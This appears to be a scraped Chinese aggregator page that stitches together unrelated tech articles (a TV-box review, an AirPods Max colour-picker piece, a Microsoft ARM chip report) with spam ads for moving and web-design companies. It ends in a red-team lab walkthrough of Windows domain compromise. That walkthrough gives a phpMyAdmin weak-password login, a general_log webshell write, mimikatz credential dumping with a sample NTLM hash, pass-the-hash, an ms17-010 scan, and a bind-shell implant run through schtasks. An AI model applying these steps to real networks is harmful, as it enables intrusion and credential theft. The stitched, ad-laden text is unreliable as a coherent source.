西伯利亞媒體也指出,蒙古人有生吃老鼠腎臟的傳統,認為會健康,每年都會發生鼠疫,並非新的疾病。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

台中搬家公司推薦超過30年經驗,首選台中大展搬家

HAKOmini 零負重電視盒:不只是輕巧,更能播放高畫質 4K HDR Netflix影音!_潭子電動車

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

日本、大陸,發現這些先進的國家已經早就讓電動車優先上路,而且先進國家空氣品質相當好,電動車節能減碳可以減少空污

這次為大家介紹的是超輕巧的 HAKOmini 零負重電視盒 開箱,相信這年頭很多人家裡早就沒有看第四台了吧?很多人可能是申辦電信業者的機上盒充當電視使用,機上盒雖然頻道也不少、價格也比有線電視便宜,但如果不常看的話,其實也是浪費。雖然現代人很多都用手機、平板透過各種串留影音軟體追劇或看影片,但怎樣手機、平板的螢幕都很小,長時間觀看其實很累且傷眼,如果不小心還會雜到臉上,如果在家想躺在沙發或床上無腦追劇、看電影難道沒有更好的選擇嗎?阿達個人是蠻推薦HAKOmini 零負重電視盒,功能多且方便,最重要的是輕巧又超便宜!

HAKOmini 零負重電視盒開箱

我們也拍攝了 HAKOmini 零負重電視盒 的開箱介紹,主要的重點都在影片中(請點我)更多科技新知酷品開箱請訂閱電腦王阿達頻道並開啟小鈴鐺就不會錯過最新資訊:

HAKOmini 零負重電視盒這邊買(請點我)

(*小提醒:募資非網購,下訂前請詳閱相關訊息)

全部的配件如下,有本體、說明書、遙控器、轉接線與旅充等等:

隨產品給了一條接電視用的Micro hdmi 轉HDMI轉接線:

還有一條 USB介面的轉接線,很多人以為 HAKO mini 這麼小巧,恐怕沒辦法外接隨身碟讀取我們自己儲存的照片影片吧?不,廠商特製的轉接線保留了一個 USB B 的介面,可以外接隨身碟等裝置,讀取內部的照片、影片與音樂:

HAKOmini 真的很小一個,長跟寬僅有6.6公分、厚度也只有1.4公分重量僅有37公克,比女生隨身攜帶的粉餅盒還要小:

如果大家沒概念的話,這樣就比較清楚,就是這麼小巧:

甚至面積也比信用卡還小,重量也很輕巧,是可以隨身攜帶完全無感的體積與重量:

側面前緣這邊配置了HDMI連接埠、重置鍵與 LED 狀態燈號:

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

有別於一般網頁架設公司,除了模組化的架站軟體,我們的營業主軸還包含:資料庫程式開發、網站建置、網頁設計、電子商務專案開發、系統整合、APP設計建置、專業網路行銷。

另一頭則只有 Micro USB 介面的連接埠。另外 HAKO mini 也支援 2.4/5GHz Wi-Fi 連線與藍牙4.0:

多功能遙控器設計很不錯,除了基本的方向鍵語音量鍵控制以外,還有語音助理功能,下方還有 YouTube、Netflix、KAKO精靈與AMAZON Prime Video的快捷鍵:

 

HAKOmini 零負重電視盒實測

接下來我們將 HAKO mini 接到電視上,真的很簡單,只要將 HDMI 線接好,另外一頭的電源線接到現在電視上都有的任何一個 USB 連接埠即可,HAKO mini 不需要變壓器,只要一般 5V供電的USB接頭都可以使用,而且體積小巧直接隱身在電視後面,完全無感:

接下來我們看一下 HAKO mini 的介面,內建標準的Android TV 9.0系統,預計明年更新到 10.0系統,可下載正版的 Netflix 欣賞最高 4K HDR 畫質的 YouTube 或 Netflix影音,只要透過遙控器快捷鍵就能快速開啟應用,很多電視盒因為沒有拿到正版 Android TV 授權,所以 Netflix 必須透過第三方市集下載或安裝APK才能看,這種電視盒雖然可看,但畫質最高只有1080P,而且還有可能因為官方改版而不能使用,比較麻煩一些。HAKO mini 也內建了 Google Play 市集,可下載愛奇藝、KKBOX影音、Friday、動漫瘋、HBO GO…各種影音串流平台觀看,現在購買再加送 LiTV 90 天全餐服務體驗,可收看超過400多個傳統第四台頻道看到飽!

另外 HAKO mini 也支援 ChromeCast 功能,可以跟智慧型手機連動投影,iOS 裝置只要安裝極速投屏這類應用就可以使用 AirPlay功能。

除了以上功能以外 HAKO mini 還支援 Google語音助理,想看什麼影片,動口說就搞定,還可以詢問天氣與各種資訊,而且獨家的 HAKO 精靈除了可以找影片以外,還可以連動 iHouse 智慧家電,或直接切換使用情境。

HAKOmini 零負重電視盒這邊買(請點我)

(*小提醒:募資非網購,下訂前請詳閱相關訊息)

結語

看完以上的簡單介紹之後,相信大家對 HAKO mini 零負重電視盒應該也有相當清楚的瞭解了,個人覺得 HAKO mini 體積很小巧,安裝在電視或是一般的螢幕後方也完全不佔體積,也沒有亂七八糟的線路,就算要帶出門使用也很輕鬆方便,而且體積雖然小巧,但具備完整的 Android TV 功能與硬體功能,擴充能力強大,還可播放 4K HDR畫質的 YouTube、Netflix 影音、5GHz的連線能力播放高畫質影音也不卡頓,更別說它方便的 Google 語音助理與 HAKO精靈和智慧家電連動能力,最重要的是價格相當便宜,目前嘖嘖預購價不到1500元,相當划算!推薦給在外租屋的小資族與經常外出旅行想在旅館看電視的朋友使用喔!

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

有別於一般網頁架設公司,除了模組化的架站軟體,我們的營業主軸還包含:資料庫程式開發、網站建置、網頁設計、電子商務專案開發、系統整合、APP設計建置、專業網路行銷。

AirPods Max 各種顏色耳罩搭配看起來如何?試試這網站,自由搭配出個人專屬配色耳機_包裝設計

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

日前 Apple 的首款頭戴式主動降噪藍牙耳機 AirPods Max 無預警突然在 Apple 台灣官網開放訂購,當時最早一批訂購的消費者可在 2 月初收到產品,如果有另外使用官網的免費鐫刻服務添加文字、表情符號或數字的消費者則需要再多等幾天。即便對不少人而言這組耳機的售價可能有些難以負擔,但對於 Apple 的忠實顧客或其他有需求的族群,仍然是款不錯的耳機。

AirPods Max 各種顏色耳罩搭配看起來如何?試試這網站,自由搭配出個人專屬配色耳機

在 Apple 台灣官網比外界預期還早開放 AirPods Max 訂購,雖然開賣時間早卻也讓許多原本已有計劃入手 AirPods Max 的消費者有些措手不及,因為這次光是耳機就有銀色、太空灰色、綠色、天藍色以及粉紅色共五種顏色選擇,消費者還能依照個人的需求添購其他顏色的耳罩,搭配出更多種不同的專屬風格。

倘若各位在 AirPods 顏色挑選上猶豫不決,不知道每種耳機和耳罩顏色在實際搭配看起來如何,現在就有個 AirPods Max 耳罩搭配的模擬網站(點我前往),讓使用者可以直接選擇各種顏色的 AirPods 耳機、左耳耳罩襯墊、右耳耳罩襯墊,同時也能計算出需要付出的費用,可說是相當貼心呀!當然,如果本來也沒有要買,只是想玩玩體驗一下顏色搭配的樂趣,也是能試試看(點我前往)。
假如只是一般選購一組耳機和耳罩襯墊都同色的 AirPods Max ,建議售價為 549 美元(台灣建議售價為 18,490 元新台幣):

如果只添購一組不同色的 AirPods Max 耳罩襯墊, AirPods Max 耳機本體加上 AirPods 耳罩襯墊的建議售價為 618 美元(台灣建議售價為 20,780 元):

當然,選購一組不同色的 AirPods Max 耳罩襯墊,原本耳機標配的同色耳罩襯墊也是能拿來搭配一下:

如果 AirPods Max 耳機、左耳耳罩襯墊與右耳耳罩襯墊都要不同的顏色,則總共需要購買兩組 AirPods Max 耳罩襯墊,那麼售價總共需要 687 美元(台灣建議售價為 23,070 元):

以下也整理幾種配色也不錯的搭配方式,可以提供給之後想另外加購耳罩襯墊的 AirPods Max 的消費者參考:

像是銀色是許多果粉心中最能代表 Apple 的產品配色,不過實際使用上擔心銀色的耳罩襯墊容易髒,搭配黑色耳罩襯墊就是低調又不會太難與服裝搭配:

今年 iPhone 12 系列、 iPad Air 4 或 Apple Watch SE 都推出藍色的配色,銀色的 AirPods Max 搭配藍色耳罩襯墊也相當好看:

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

如果想左右耳都用不同顏色,粉紅色和藍色也相當搶眼:

綠色的 AirPods Max 則推薦能選擇黑色或銀色的耳罩襯墊進行搭配:

雖然 AirPods Max 耳機已經突然在 Apple 台灣官網開放訂購,不過目前 AirPods Max 其他耳罩襯墊至截稿前還沒有辦法購買的。因此,如果未來想另外添購其他顏色耳罩進行搭配,還是先多試試看這次分享的 AirPods Max 配色模擬網評估一番囉!畢竟光是訂購一組 AirPods Max 和添購一款其他配色耳罩襯墊備用,就已經要花費超過兩萬元不算太便宜的開銷。

AirPods Max 商品頁面:點我前往訂購(Apple 台灣官網)
*Apple 官網訂購享最高 12 期 0% 利率分期付款
AirPods 耳罩襯墊:點我前往(Apple 台灣官網)

假如想買 AirPods Max ,卻仍遲遲無法決定要訂購哪款配色的 AirPods Max ,亦不確定之後會不會加購其他顏色的耳罩襯墊,那麼像是太空灰色或銀色的 AirPods Max 都是顏色上比較耐看的,最早一批訂購的台灣消費者預計能在 2021 年 2 月 4 日收到。

延伸閱讀:
Apple M1 版 MacBook Pro、MacBook Air、Mac mini 通過 NCC 認證

iPhone 12 Pro Max 對決三星 Galaxy Note20 Ultra 電池續航測試:兩陣營大尺寸旗艦擔當,究竟誰輸誰贏?

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

據報 Microsoft 也在打造自家 ARM 晶片供 Surface 電腦與雲端伺服器使用_台中搬家

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

台中搬家公司推薦超過30年經驗,首選台中大展搬家

Apple 近日推出了自家基於 ARM 架構的 M1 晶片,效能、續航等方面受到許多人的讚揚,現在國外媒體報導指稱 Microsoft 也正在默默地著手設計自家的 ARM 晶片,以供未來的雲端伺服器及 Surface 電腦使用,此舉將直接挑戰 Intel 在電腦處理器領域的優勢地位。

據報 Microsoft 也在打造自家 ARM 晶片供 Surface 電腦與雲端伺服器使用

在過去,Microsoft 曾經與 AMD、高通合作,開發出供 Surface Laptop 3 和 Surface Pro X 配備的訂製款晶片,該公司於 2019 年為 Surface Pro X 打造了基於 ARM 的 SQ1 處理器,隨後於今年 10 月升級推出 SQ2 。然而,SQ1 和 SQ2 處理器只是高通 Snapdragon 8cx 第 1 代和第 2 代電腦處理器的品牌重塑。

根據彭博社報導,Microsoft 正在努力開發自家晶片,為雲端服務的伺服器與自家品牌 Surface 電腦提供動力,並尋求更多創造性的可能。Microsoft 發言人給彭博社的聲明中表示,由於 Silicon 是技術的基礎,他們將繼續投資在設計、製造和工具等領域,同時促進與加強與各種晶片供應商之間的合作夥伴關係。

目前來看,Intel 基本上在伺服器晶片市場擁有壟斷優勢,大多數網路服務的伺服器接採用該品牌旗下產品,也是 Intel 公司最有利可圖的收入來源,據估計, Intel 在伺服器市場約有 90% 的市佔率,擁有絕對的主導地位。如果 Microsoft 真的跟隨 Apple 腳步設計推出自家處理器,也象徵著 Microsoft 希望能放緩對 Intel 的依賴。

台中搬家公司費用怎麼算?

擁有20年純熟搬遷經驗,提供免費估價且流程透明更是5星評價的搬家公司

◎資料來源:彭博社

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

台中搬家公司費用怎麼算?

擁有20年純熟搬遷經驗,提供免費估價且流程透明更是5星評價的搬家公司

ATT&CK紅隊評估實戰靶場(一)_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

靶機下載地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
攻擊拓撲如下

0x01環境搭建
配置兩卡,僅主機模式192.168.52.0網段模擬內網,192.168.72.0網段模擬外網
Kali linux IP 192.168.72.131
win7 IP 192.168.72.130/192.168.52.143
win2003 IP 192.168.72.141
DC 2008 IP 192.168.52.138

0X02信息收集
用nmap找到外網IP地址
netdiscover -i eth0 -r 192.168.72.0/24

御劍掃目錄掃到後台
掃到目錄http://192.168.72.130/phpmyadmin/
弱口令root /root進入後台

0x03phpmyadmin後台getshell
show variables like ‘%general%’; #查看日誌狀態

SET GLOBAL general_log=’on’

SET GLOBAL general_log_file=’C:/phpStudy/www/233.php’ 設置路徑

SELECT ‘ ‘ //寫入一句話木馬

getshell
http://192.168.72.130/233.php

0x04權限提升
直接用Cs的腳本ms14-068提權

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

0x05內網信息收集
把webshell轉換成cs上線

ipconfig /all

hashdump看一下密碼

再用mimikatz抓一下明文密碼,抓到hongrisec@2020

shell net user /domain
查看域內用戶
使用lodan掃描內網網絡

使用lazagone.exe 抓取本機所有密碼

抓到了很多win7機器上的密碼

用Msf的這個模塊可以判斷目標機器上面裝了那些軟件
run post/windows/gather/enum_applications 使用這個之後發現win7(雙網卡機器)上有一個現成的nmap
直接用beacon下的nmap去掃描DC的漏洞 shell nmap –script=vuln 192.168.52.138 發現域控存在ms17-010

這裏其實已經可以直接去用Msf打域控的17010了

0x06MSF與CS聯動
新啟一個監聽,用foriereverse_tcp,然後msf開始監聽端口,成功轉接cs的shell

查看當前網段並添加路由

0x07配置msf代理

之前掃描的是DC,先看一下2003有沒有漏洞,掃一下141,其實不掛代理也行,win7裏面有一個Nmap,這裏要注意socks代理不支持icmp協議
proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 –script=smb-vuln-ms17-010.nse 192.168.52.141

0x08兩種拿下2003
因為已經知道了漏洞,直接永恆之藍打過去了

PTH方法
選擇之前生成的那個smb beacon 然後在用哈希傳遞的方法,域內管理員的賬號直接登錄

192.168.52.141成功上線

0x09票據+計劃任務拿DC
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141

shell dir \192.168.52.138\c$ //dir DC的目錄

生成一個exe馬
這裏用windows/reverse_bind_tcp LHOST=0.0.0.0 LPORT=7777 生成正向的馬 yukong.exe
把馬複製到域控機器上shell copy C:\yukong.exe \192.168.52.138\c$
然後再用這個寫入計劃任務的方法去連接,這裏馬反彈會連不成功,所以
shell schtasks /create /tn “test” /tr C:\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p “hongrisec@2020”
掛着win7代理 proxy nc -vv 192.168.52.138 7777 即可彈回DC138的shell
用Meterpreter的馬也可以,之前失敗了,後續還是改成meterpreter的馬,或者把普通shell再升級成meterpreter再導入cs也可以
馬上線之後清除計劃任務schtasks /delete /s 192.168.52.138 /tn “test” /f

本靶場有很多地方都可以打成功,可以自己嘗試一下。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。